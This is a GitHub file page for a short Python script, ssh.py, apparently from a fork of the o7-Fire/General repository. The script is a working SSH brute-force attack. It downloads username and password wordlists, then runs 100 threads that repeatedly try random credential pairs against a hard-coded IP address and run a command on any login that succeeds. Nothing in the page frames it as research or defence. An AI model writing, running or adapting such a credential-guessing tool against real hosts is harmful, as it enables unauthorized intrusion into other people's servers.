forked from o7-Fire/General
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathssh.py
More file actions
29 lines (26 loc) · 932 Bytes
/
ssh.py
File metadata and controls
29 lines (26 loc) · 932 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import paramiko
import random
import requests
import threading
host = "95.216.66.105"
port = 22
usernames = requests.get("https://raw.githubusercontent.com/o7-Fire/General/master/usernames.txt")
passwords = requests.get("https://raw.githubusercontent.com/o7-Fire/General/master/passwords.txt")
command = "ls"
def tryssh():
while True:
username = random.choice(usernames.text.split("\n"))
password = random.choice(passwords.text.split("\n"))
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, port, username, password)
stdin, stdout, stderr = ssh.exec_command(command)
lines = stdout.readlines()
print(lines)
except:
print("Didnt work")
if __name__ == '__main__':
for i in range(100):
t1 = threading.Thread(target=tryssh)
t1.start()